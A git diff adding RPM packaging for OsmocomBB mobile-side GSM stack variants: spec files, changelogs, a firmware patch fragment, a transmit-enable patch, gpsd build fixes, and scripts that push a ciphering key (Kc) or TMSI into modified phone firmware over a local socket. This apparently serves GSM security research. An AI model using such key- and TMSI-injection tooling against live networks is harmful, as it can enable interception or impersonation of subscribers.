+ /* compal-loaded binary: our unitialized data, stacks, heap */
+- IRAM (rw) : ORIGIN = 0x00814000, LENGTH = 0x0000c000
++ IRAM (rw) : ORIGIN = 0x00824000, LENGTH = 0x0000c000
+ }
+ SECTIONS
+ {
+diff --git a/src/target/firmware/include/comm/sercomm.h b/src/target/firmware/include/comm/sercomm.h
+index 54256b5..4188230 100644
+--- a/src/target/firmware/include/comm/sercomm.h
++++ b/src/target/firmware/include/comm/sercomm.h
+@@ -21,6 +21,7 @@ enum sercomm_dlci {
+ SC_DLCI_L1A_L23 = 5,
+ SC_DLCI_LOADER = 9,
+ SC_DLCI_CONSOLE = 10,
++ SC_DLCI_TMSI = 127,
+ SC_DLCI_ECHO = 128,
+ _SC_DLCI_MAX
+ };
+diff --git a/src/target/firmware/layer1/l23_api.c b/src/target/firmware/layer1/l23_api.c
+index ae39e63..1de6a77 100644
+--- a/src/target/firmware/layer1/l23_api.c
++++ b/src/target/firmware/layer1/l23_api.c
+@@ -521,6 +522,7 @@ static void l1ctl_rx_tch_mode_req(struct msgb *msg)
+ /* receive a L1CTL_NEIGH_PM_REQ from L23 */
+ static void l1ctl_rx_neigh_pm_req(struct msgb *msg)
+ {
++ return 0;
+ struct l1ctl_hdr *l1h = (struct l1ctl_hdr *) msg->data;
+ struct l1ctl_neigh_pm_req *pm_req =
+ (struct l1ctl_neigh_pm_req *) l1h->data;
+@@ -590,6 +592,8 @@ static struct llist_head l23_rx_queue = LLIST_HEAD_INIT(l23_rx_queue);
+ void l1a_l23_rx(uint8_t dlci, struct msgb *msg)
+ {
+ unsigned long flags;
++ struct l1ctl_hdr *l1h;
++ l1h = (struct l1ctl_hdr *) msg->data;
+
+ local_firq_save(flags);
+ msgb_enqueue(&l23_rx_queue, msg);
+@@ -610,15 +614,17 @@ void l1a_l23_handler(void)
+
+ l1h = (struct l1ctl_hdr *) msg->data;
+
+-#if 0
+- {
+- int i;
+- printf("l1a_l23_rx_cb (%u): ", msg->len);
+- for (i = 0; i < msg->len; i++)
+- printf("%02x ", msg->data[i]);
+- puts("\n");
++ printf(" \n");
++
++ if(l1h->msg_type != L1CTL_PM_REQ){
++ {
++ int i;
++ printf("l1a_l23_rx_cb (%u): ", msg->len);
++ for (i = 0; i < msg->len; i++)
++ printf("%02x ", msg->data[i]);
++ puts("\n");
++ }
+ }
+-#endif
+
+ msg->l1h = msg->data;
+
+diff --git a/src/target/firmware/layer1/prim_pm.c b/src/target/firmware/layer1/prim_pm.c
+index 1630600..6e208b4 100644
+--- a/src/target/firmware/layer1/prim_pm.c
++++ b/src/target/firmware/layer1/prim_pm.c
+@@ -91,12 +91,14 @@ static int l1s_pm_resp(uint8_t num_meas, __unused uint8_t p2,
+
+ l1ddsp_meas_read(num_meas, pm_level);
+
+- printf("PM MEAS: ARFCN=%u, %-4d dBm at baseband, %-4d dBm at RF\n",
++ /*printf("PM MEAS: ARFCN=%u, %-4d dBm at baseband, %-4d dBm at RF\n",
+ arfcn, pm_level[0]/8, agc_inp_dbm8_by_pm(pm_level[0])/8);
+
+ printd("PM MEAS: %-4d dBm, %-4d dBm ARFCN=%u\n",
+ agc_inp_dbm8_by_pm(pm_level[0])/8,
+ agc_inp_dbm8_by_pm(pm_level[1])/8, arfcn);
++
++ */
+
+ if (!l1s.pm.msg)
+ l1s.pm.msg = l1ctl_msgb_alloc(L1CTL_PM_CONF);
+diff --git a/src/target/firmware/layer1/sync.c b/src/target/firmware/layer1/sync.c
+index 36f4297..d64aec7 100644
+--- a/src/target/firmware/layer1/sync.c
++++ b/src/target/firmware/layer1/sync.c
+@@ -197,9 +197,11 @@ static inline void check_lost_frame(void)
+ diff = last_timestamp - timestamp;
+
+ /* allow for a bit of jitter */
++ /*
+ if (diff < TIMER_TICKS_PER_TDMA - TIMER_TICK_JITTER ||
+ diff > TIMER_TICKS_PER_TDMA + TIMER_TICK_JITTER)
+ printf("LOST %d!\n", diff);
++ */
+
+ last_timestamp = timestamp;
+ }
diff --git a/rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.changes b/rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.changes
new file mode 100644
index 0000000..47a9c08
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.changes
@@ -0,0 +1,20 @@
+-------------------------------------------------------------------
+Sat Feb 10 14:22:11 UTC 2018 - mardnh@gmx.de
+
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Thu Jan 5 18:46:32 UTC 2017 - mardnh@gmx.de
+
+- Build firmware only on intel plaforms (i586, x86_64)
+
+-------------------------------------------------------------------
+Fri Dec 19 21:15:22 UTC 2014 - mardnh@gmx.de
+
+- specfile cleanup
+
+-------------------------------------------------------------------
+Wed Sep 4 20:27:44 UTC 2013 - mardnh@gmx.de
+
+- initial package
+
diff --git a/rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.rpmlintrc b/rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.rpmlintrc
new file mode 100644
index 0000000..e38887a
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.rpmlintrc
@@ -0,0 +1 @@
+addFilter("suse-filelist-forbidden-opt")
diff --git a/rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.spec b/rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.spec
new file mode 100644
index 0000000..b12b754
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-fwp/osmocom-bb-fwp.spec
@@ -0,0 +1,131 @@
+#
+# spec file for package osmocom-bb-fwp
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define build_firmware 1
+%define osmocom_bb_dir /opt/osmocom-bb-fwp
+
+Name: osmocom-bb-fwp
+Version: 0.0.0.git1336380404.4f0acac
+Release: 0
+Summary: OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) (fwp)
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+Url: http://bb.osmocom.org/trac/
+Source: osmocom-bb-%{version}.tar.xz
+Source1: push-kc.sh
+Source2: push-range.sh
+Source3: push-tmsi.sh
+Patch1: fwp.patch
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: gcc-c++
+BuildRequires: pkgconfig(libosmocodec)
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRequires: pkgconfig(libosmovty)
+BuildRequires: libtool
+BuildRequires: pkg-config
+BuildRequires: python
+BuildRequires: git-core
+%if 0%{?build_firmware}
+BuildRequires: arm-elf-binutils
+BuildRequires: arm-elf-gcc
+# HACK: Disable all post-build-checks
+BuildRequires: -post-build-checks
+%endif
+ExclusiveArch: %ix86 x86_64
+
+
+
+%description
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware
+
+%package firmware
+Summary: OsmocomBB MS-side GSM Protocol stack - firmware (fwp)
+Group: Productivity/Telephony/Utilities
+Requires: %{name} = %{version}
+
+%description firmware
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+This subpackage provides firmware-images for various TI-calypto based
+phones.
+
+%prep
+%setup -q -n osmocom-bb-%{version}
+%patch1 -p1
+
+%build
+echo "%{version}" >src/host/osmocon/.tarball-version
+echo "%{version}" >src/host/gsmmap/.tarball-version
+echo "%{version}" >src/shared/libosmocore/.tarball-version
+
+%if 0%{?build_firmware}
+export PATH=$PATH:/opt/arm-elf-toolchain/bin
+make V=1 -C src/ %{?_smp_mflags}
+%else
+make V=1 nofirmware -C src/ %{?_smp_mflags}
+%endif
+
+
+%install
+mkdir -p %{buildroot}/%{osmocom_bb_dir}
+install -m 0755 %{SOURCE1} %{buildroot}/%{osmocom_bb_dir}/
+install -m 0755 %{SOURCE2} %{buildroot}/%{osmocom_bb_dir}/
+install -m 0755 %{SOURCE3} %{buildroot}/%{osmocom_bb_dir}/
+install -Dm 0755 src/host/osmocon/osmocon %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmocon
+install -Dm 0755 src/host/osmocon/osmoload %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmoload
+install -Dm 0755 src/host/layer23/src/misc/bcch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/bcch_scan
+install -Dm 0755 src/host/layer23/src/misc/cbch_sniff %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cbch_sniff
+install -Dm 0755 src/host/layer23/src/misc/ccch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/ccch_scan
+install -Dm 0755 src/host/layer23/src/misc/cell_log %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cell_log
+install -Dm 0755 src/host/layer23/src/misc/echo_test %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/echo_test
+install -Dm 0755 src/host/layer23/src/mobile/mobile %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/mobile/mobile
+install -Dm 0755 src/host/gsmmap/gsmmap %{buildroot}/%{osmocom_bb_dir}/host/gsmmap/gsmmap
+
+%if 0%{?build_firmware}
+### Firmware
+# Compal E86
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+cp src/target/firmware/board/compal_e86/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+# Compal E88
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+cp src/target/firmware/board/compal_e88/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+# Compal E99
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+cp src/target/firmware/board/compal_e99/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+# OpenMoko GTA0x
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+cp src/target/firmware/board/gta0x/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+# Pirelli DP-L10
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+cp src/target/firmware/board/pirelli_dpl10/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+# Sony Erricson J100
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+cp src/target/firmware/board/se_j100/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+%endif
+
+%files
+%{osmocom_bb_dir}/host
+%{osmocom_bb_dir}/push-*
+
+%if 0%{?build_firmware}
+%files firmware
+%{osmocom_bb_dir}/target
+%endif
+
+%changelog
diff --git a/rpm-local/spec/osmocom-bb-fwp/push-kc.sh b/rpm-local/spec/osmocom-bb-fwp/push-kc.sh
new file mode 100644
index 0000000..e6083b6
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-fwp/push-kc.sh
@@ -0,0 +1,16 @@
+#!/bin/bash
+
+KC="$1"
+
+echo -n "$KC" | grep -qE "^[0-9a-fA-F]{16}[0-9]{2}$"
+if [ ! $? -eq 0 ] ; then
+ echo "not a valid Kc"
+ exit 1
+fi
+
+KC_HEX="$(echo $KC | sed -re 's,([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9]{2}),\\x\1\\x\2\\x\3\\x\4\\x\5\\x\6\\x\7\\x\8\\x\9,g')"
+
+DATA="\x00\x09${KC_HEX}"
+echo -e "$DATA" | nc -U /tmp/osmocom_mi
+
+
diff --git a/rpm-local/spec/osmocom-bb-fwp/push-range.sh b/rpm-local/spec/osmocom-bb-fwp/push-range.sh
new file mode 100644
index 0000000..bc1cccd
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-fwp/push-range.sh
@@ -0,0 +1,21 @@
+#!/bin/bash
+
+RANGE="$1"
+PHONE="$2"
+echo -n "$RANGE" | grep -qE "^[0-9a-fA-F]{4}$"
+if [ ! $? -eq 0 ] ; then
+ echo "not a valid range"
+ exit 1
+fi
+
+if [ "x$PHONE" == "x" ]; then
+ echo "please specify a phone"
+ exit 1
+fi
+
+RANGE_HEX="$(echo $RANGE | sed -re 's,([0-9a-fA-F]{2})([0-9a-fA-F]{2}),\\x\1\\x\2,g')"
+
+DATA="\x00\x02${RANGE_HEX}"
+echo -e "$DATA" | nc -U /tmp/osmocom_mi_$PHONE
+
+
diff --git a/rpm-local/spec/osmocom-bb-fwp/push-tmsi.sh b/rpm-local/spec/osmocom-bb-fwp/push-tmsi.sh
new file mode 100644
index 0000000..1fc0bd4
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-fwp/push-tmsi.sh
@@ -0,0 +1,16 @@
+#!/bin/bash
+
+TMSI="$1"
+
+echo -n "$TMSI" | grep -qE "^[0-9a-fA-F]{8}$"
+if [ ! $? -eq 0 ] ; then
+ echo "not a valid TMSI"
+ exit 1
+fi
+
+TMSI_HEX="$(echo $TMSI | sed -re 's,([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2}),\\x\1\\x\2\\x\3\\x\4,g')"
+
+DATA="\x00\x04${TMSI_HEX}"
+echo -e "$DATA" | nc -U /tmp/osmocom_mi
+
+
diff --git a/rpm-local/spec/osmocom-bb-jolly-emi/_service b/rpm-local/spec/osmocom-bb-jolly-emi/_service
new file mode 100644
index 0000000..aec95f6
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-emi/_service
@@ -0,0 +1,18 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="revision">jolly/emi</param>
+ <param name="exclude">.git</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmocom-bb-jolly-emi/_servicedata b/rpm-local/spec/osmocom-bb-jolly-emi/_servicedata
new file mode 100644
index 0000000..d46cb0b
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-emi/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmocom-bb</param>
+ <param name="changesrevision">fabd63f3f64304eb90694064cf251a4626a4f0bd</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-enable-tx.patch b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-enable-tx.patch
new file mode 100644
index 0000000..85a49ab
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-enable-tx.patch
@@ -0,0 +1,13 @@
+diff --git a/src/target/firmware/Makefile b/src/target/firmware/Makefile
+index 42f7ad4..b816061 100644
+--- a/src/target/firmware/Makefile
++++ b/src/target/firmware/Makefile
+@@ -127,7 +127,7 @@ INCLUDES=-Iinclude/ -I../../../include -I../../shared/libosmocore/include
+ #
+
+ # Uncomment this line if you want to enable Tx (Transmit) Support.
+-#CFLAGS += -DCONFIG_TX_ENABLE
++CFLAGS += -DCONFIG_TX_ENABLE
+
+ # Uncomment this line if you want to write to flash.
+ #CFLAGS += -DCONFIG_FLASH_WRITE
diff --git a/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.changes b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.changes
new file mode 100644
index 0000000..41e3740
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.changes
@@ -0,0 +1,47 @@
+-------------------------------------------------------------------
+Tue Jul 9 19:34:19 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Remove patches:
+ * 0001-mobile-gsm480_ss.c-fix-build-apply-msgb_wrap_with_TL.patch
+ * 0001-Fix-build-with-latest-libosmocore.patch
+ Recent versions of libosmocore have workarounds for this issues
+
+-------------------------------------------------------------------
+Tue May 28 20:17:57 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Remove patch (fixed by upstream):
+ * 0001-Fix-no-return-in-nonvoid-function-in-bcch_scan.c.patch
+
+-------------------------------------------------------------------
+Tue Nov 20 19:49:07 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * 0001-Fix-build-with-latest-libosmocore.patch
+
+-------------------------------------------------------------------
+Sat Feb 10 13:51:36 UTC 2018 - mardnh@gmx.de
+
+- Add patch:
+ * osmocom-bb-jolly-testing-fix-typo.patch
+- Specfile cleanup
+
+-------------------------------------------------------------------
+Thu Jan 5 19:08:15 UTC 2017 - mardnh@gmx.de
+
+- Build firmware only on intel plaforms (i586, x86_64)
+
+-------------------------------------------------------------------
+Fri Dec 19 21:30:25 UTC 2014 - mardnh@gmx.de
+
+- Update to version 0.0.0.git1381915414.fabd63f:
+ + fw/l1: Initial import of new BTS primitive
+ + fw/l1/l23_api: Wire the L1CTL to the internal TRX interface & prim_bts
+ + fw/trx: Initial import of the TRX firmware application
+ + host/layer23: Initial import of the transceiver application
+ + host/transceiver: Fix leak in AB processing codepath
+ + Add EMI application to firmware apps
+ + fw/calypso/dsp: Make dsp_extcode only load with trx app
+ + Add command line tool 'osmocli' to talk to firmware Apps using console DCLI
+ + Hack to prevent sercomm from getting stuck while sending.
+ + EMI-App: Add command line interface to control App via serial console
+- specfile cleanup
diff --git a/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.rpmlintrc b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.rpmlintrc
new file mode 100644
index 0000000..e38887a
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.rpmlintrc
@@ -0,0 +1 @@
+addFilter("suse-filelist-forbidden-opt")
diff --git a/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.spec b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.spec
new file mode 100644
index 0000000..fa66066
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-emi.spec
@@ -0,0 +1,129 @@
+#
+# spec file for package osmocom-bb-jolly-emi
+#
+# Copyright (c) 2017 SUSE LINUX Products GmbH, Nuernberg, Germany.
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define build_firmware 1
+%define osmocom_bb_dir /opt/osmocom-bb-jolly-emi
+
+Name: osmocom-bb-jolly-emi
+Version: 0.0.0.git1381915414.fabd63f3
+Release: 0
+Summary: OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) (jolly/emi)
+License: GPL-2.0
+Group: Productivity/Telephony/Utilities
+Url: http://bb.osmocom.org/trac/
+Source: osmocom-bb-%{version}.tar.xz
+Patch2: osmocom-bb-enable-tx.patch
+Patch3: osmocom-bb-jolly-testing-fix-typo.patch
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: gcc-c++
+BuildRequires: pkgconfig(libosmocodec)
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRequires: pkgconfig(libosmovty)
+BuildRequires: pkgconfig(libosmodsp)
+BuildRequires: libtool
+BuildRequires: pkg-config
+BuildRequires: python
+# for git-version-gen
+BuildRequires: git-core
+%if 0%{?build_firmware}
+BuildRequires: arm-elf-binutils
+BuildRequires: arm-elf-gcc
+# HACK: Disable all post-build-checks
+BuildRequires: -post-build-checks
+%endif
+ExclusiveArch: %ix86 x86_64
+
+
+%description
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+%package firmware
+Summary: OsmocomBB MS-side GSM Protocol stack - firmware (jolly/emi)
+Group: Productivity/Telephony/Utilities
+Requires: %{name} = %{version}
+
+%description firmware
+OsmocomBB MS-side GSM Protocol stack (L1, L2, L3) including firmware.
+
+This subpackage provides firmware-images for various TI-calypto based
+phones.
+
+%prep
+%setup -q -n osmocom-bb-%{version}
+%patch2 -p1
+%patch3 -p1
+
+%build
+echo "%{version}" >src/host/osmocon/.tarball-version
+echo "%{version}" >src/host/gsmmap/.tarball-version
+echo "%{version}" >src/shared/libosmocore/.tarball-version
+
+%if 0%{?build_firmware}
+export PATH=$PATH:/opt/arm-elf-toolchain/bin
+make V=1 -C src/ %{?_smp_mflags} HOST_layer23_CONFARGS=--enable-transceiver
+%else
+make V=1 nofirmware -C src/ %{?_smp_mflags} HOST_layer23_CONFARGS=--enable-transceiver
+%endif
+
+
+%install
+mkdir -p %{buildroot}/%{osmocom_bb_dir}
+install -Dm 0755 src/host/osmocon/osmocon %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmocon
+install -Dm 0755 src/host/osmocon/osmoload %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmoload
+install -Dm 0755 src/host/osmocon/osmocli %{buildroot}/%{osmocom_bb_dir}/host/osmocon/osmocli
+install -Dm 0755 src/host/layer23/src/misc/bcch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/bcch_scan
+install -Dm 0755 src/host/layer23/src/misc/cbch_sniff %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cbch_sniff
+install -Dm 0755 src/host/layer23/src/misc/ccch_scan %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/ccch_scan
+install -Dm 0755 src/host/layer23/src/misc/cell_log %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/cell_log
+install -Dm 0755 src/host/layer23/src/misc/echo_test %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/misc/echo_test
+install -Dm 0755 src/host/layer23/src/mobile/mobile %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/mobile/mobile
+install -Dm 0755 src/host/layer23/src/transceiver/transceiver %{buildroot}/%{osmocom_bb_dir}/host/layer23/src/transceiver/transceiver
+install -Dm 0755 src/host/gsmmap/gsmmap %{buildroot}/%{osmocom_bb_dir}/host/gsmmap/gsmmap
+
+%if 0%{?build_firmware}
+### Firmware
+# Compal E86
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+cp src/target/firmware/board/compal_e86/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e86/
+# Compal E88
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+cp src/target/firmware/board/compal_e88/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e88/
+# Compal E99
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+cp src/target/firmware/board/compal_e99/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/compal_e99/
+# OpenMoko GTA0x
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+cp src/target/firmware/board/gta0x/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/gta0x/
+# Pirelli DP-L10
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+cp src/target/firmware/board/pirelli_dpl10/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/pirelli_dpl10/
+# Sony Erricson J100
+mkdir -p %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+cp src/target/firmware/board/se_j100/*.bin %{buildroot}/%{osmocom_bb_dir}/target/firmware/board/se_j100/
+%endif
+
+%files
+%{osmocom_bb_dir}/host
+
+%if 0%{?build_firmware}
+%files firmware
+%{osmocom_bb_dir}/target
+%endif
+
+%changelog
diff --git a/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-testing-fix-typo.patch b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-testing-fix-typo.patch
new file mode 100644
index 0000000..04dc868
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-emi/osmocom-bb-jolly-testing-fix-typo.patch
@@ -0,0 +1,10 @@
+diff --git a/src/host/layer23/src/transceiver/Makefile.am b/src/host/layer23/src/transceiver/Makefile.am
+index e40101da..d8022e7a 100644
+--- a/src/host/layer23/src/transceiver/Makefile.am
++++ b/src/host/layer23/src/transceiver/Makefile.am
+@@ -1,4 +1,4 @@
+-AM_CFLAGS = -Wall $(all_includes) -I$(top_srcdir)/include $(LIBOSMOCORE_CFLAGS) $(LIBOSMOGSM_CFLAGS) $(LIBSOSMODSP_CFLAGS)
++AM_CFLAGS = -Wall $(all_includes) -I$(top_srcdir)/include $(LIBOSMOCORE_CFLAGS) $(LIBOSMOGSM_CFLAGS) $(LIBOSMODSP_CFLAGS)
+ LDADD = ../common/liblayer23.a $(LIBOSMOCORE_LIBS) $(LIBOSMOVTY_LIBS) $(LIBOSMOGSM_LIBS) $(LIBOSMOCODEC_LIBS) $(LIBOSMODSP_LIBS)
+
+ bin_PROGRAMS = transceiver
diff --git a/rpm-local/spec/osmocom-bb-jolly-testing/0001-layer23-Fix-build-against-gpsd-3.18.patch b/rpm-local/spec/osmocom-bb-jolly-testing/0001-layer23-Fix-build-against-gpsd-3.18.patch
new file mode 100644
index 0000000..d1a2ec4
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-testing/0001-layer23-Fix-build-against-gpsd-3.18.patch
@@ -0,0 +1,48 @@
+From 4f85fb30bc77e4bb4c3b9187a48a0a5a0a8cbb5a Mon Sep 17 00:00:00 2001
+From: Pau Espin Pedrol <pespin@sysmocom.de>
+Date: Mon, 5 Nov 2018 20:22:45 +0100
+Subject: [PATCH] layer23: Fix build against gpsd >= 3.18
+
+Change-Id: I0e97d3e8c3688064c959ea60ecef50cfbbc1bcd6
+---
+ src/host/layer23/src/common/gps.c | 15 +++++++++++++--
+ 1 file changed, 13 insertions(+), 2 deletions(-)
+
+diff --git a/src/host/layer23/src/common/gps.c b/src/host/layer23/src/common/gps.c
+index 3ec7377c..35ee4167 100644
+--- a/src/host/layer23/src/common/gps.c
++++ b/src/host/layer23/src/common/gps.c
+@@ -60,9 +60,20 @@ static struct gps_data_t* gdata = NULL;
+
+ #if GPSD_API_MAJOR_VERSION >= 5
+ static struct gps_data_t _gdata;
+-#define gps_poll gps_read
+ #endif
+
++static inline int compat_gps_read(struct gps_data_t *data)
++{
++/* API break in gpsd 6bba8b329fc7687b15863d30471d5af402467802 */
++#if GPSD_API_MAJOR_VERSION >= 7 && GPSD_API_MINOR_VERSION >= 0
++ return gps_read(data, NULL, 0);
++#elif GPSD_API_MAJOR_VERSION >= 5
++ return gps_read(data);
++#else
++ return gps_poll(data);
++#endif
++}
++
+ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ {
+ struct tm *tm;
+@@ -85,7 +96,7 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ #endif
+
+ /* polling returned an error */
+- if (gps_poll(gdata))
++ if (compat_gps_read(gdata))
+ goto gps_not_ready;
+
+ /* data are valid */
+--
+2.16.4
+
diff --git a/rpm-local/spec/osmocom-bb-jolly-testing/0001-layer23-Fix-build-against-gpsd-3.20.patch b/rpm-local/spec/osmocom-bb-jolly-testing/0001-layer23-Fix-build-against-gpsd-3.20.patch
new file mode 100644
index 0000000..8ae9b9b
--- /dev/null
+++ b/rpm-local/spec/osmocom-bb-jolly-testing/0001-layer23-Fix-build-against-gpsd-3.20.patch
@@ -0,0 +1,45 @@
+From 5738e579b29b00b5f23c4762d15912a4cd391fd9 Mon Sep 17 00:00:00 2001
+From: Pau Espin Pedrol <pespin@sysmocom.de>
+Date: Mon, 13 Jan 2020 17:28:18 +0100
+Subject: [PATCH] layer23: Fix build against gpsd >= 3.20
+
+During 3.19->3.20 dev cycle, some fields were transformed from
+timestamp_t or double to timespec_t. See for instance gpsd.git
+f7c230fceb6d64483757f8c32afb98e6a2cb9413.
+
+Change-Id: Ie8ba19d030b6f46f2d8afc270a732ce8c26c438f
+---
+ src/host/layer23/src/common/gps.c | 8 ++++++++
+ 1 file changed, 8 insertions(+)
+
+diff --git a/src/host/layer23/src/common/gps.c b/src/host/layer23/src/common/gps.c
+index 35ee4167..807beed4 100644
+--- a/src/host/layer23/src/common/gps.c
++++ b/src/host/layer23/src/common/gps.c
+@@ -82,7 +82,11 @@ int osmo_gpsd_cb(struct osmo_fd *bfd, unsigned int what)
+ g.valid = 0;
+
+ /* gps is offline */
++#if GPSD_API_MAJOR_VERSION >= 9 && GPSD_API_MINOR_VERSION >= 0
++ if (gdata->online.tv_sec || gdata->online.tv_nsec)
++#else
+ if (gdata->online)
++#endif
+ goto gps_not_ready;
+
+ #if GPSD_API_MAJOR_VERSION >= 5
